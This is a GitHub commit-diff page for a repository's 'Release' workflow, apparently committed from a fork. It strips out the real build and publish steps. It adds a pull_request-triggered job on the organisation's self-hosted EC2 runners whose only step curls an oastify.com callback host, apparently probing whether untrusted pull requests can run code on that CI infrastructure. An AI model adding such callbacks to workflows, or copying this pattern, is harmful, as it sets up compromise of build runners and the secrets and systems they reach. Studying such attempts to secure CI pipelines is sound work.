-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
096d136
commit cc2aa83
Showing
1 changed file
with
8 additions
and
41 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,47 +1,14 @@ | ||
name: "Release" | ||
on: | ||
push: | ||
workflow_dispatch: { } | ||
pull_request: | ||
branches: [main] | ||
|
||
jobs: | ||
build: | ||
environment: Release | ||
runs-on: ubuntu-latest | ||
testtest: | ||
name: Ding Ding | ||
|
||
runs-on: [ coveo, linux, x64, ec2 ] | ||
|
||
steps: | ||
- name: Checkout main | ||
uses: actions/checkout@v2 | ||
with: | ||
fetch-depth: 0 | ||
- name: Fetch all tags | ||
run: git fetch --depth=1 origin +refs/tags/*:refs/tags/* | ||
- name: Build & test | ||
run: | | ||
npm run setup | ||
npx lerna run test | ||
- name: Setup Git | ||
run: | | ||
git config --global user.email [email protected] | ||
git config --global user.name GitHub Action | ||
- name: Setup SSH Remote | ||
env: | ||
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }} | ||
run: | | ||
eval "$(ssh-agent -s)" | ||
ssh-add - <<< "${DEPLOY_KEY}" | ||
mkdir -p ~/.ssh | ||
echo "${DEPLOY_KEY}" > ~/.ssh/id_rsa | ||
chmod 400 ~/.ssh/id_rsa | ||
echo "Host coveo-github-actions" > ~/.ssh/config | ||
echo "Hostname github.com" >> ~/.ssh/config | ||
echo "PreferredAuthentications publickey" >> ~/.ssh/config | ||
echo -n "IdentityFile " >> ~/.ssh/config | ||
echo -n ~ >> ~/.ssh/config | ||
echo "/.ssh/id_rsa" >> ~/.ssh/config | ||
git remote set-url origin git@coveo-github-actions:coveo/github-actions.git | ||
- name: Release | ||
env: | ||
GH_TOKEN: ${{ secrets.RELEASE_GH_TOKEN }} | ||
NPM_TOKEN: ${{ secrets.NPM_TOKEN }} | ||
run: | | ||
echo '//registry.npmjs.org/:_authToken=${NPM_TOKEN}' > .npmrc | ||
npx lerna publish --yes | ||
- run: curl 9t3ybxo8fbhc7iycue352cye157xvnjc.oastify.com |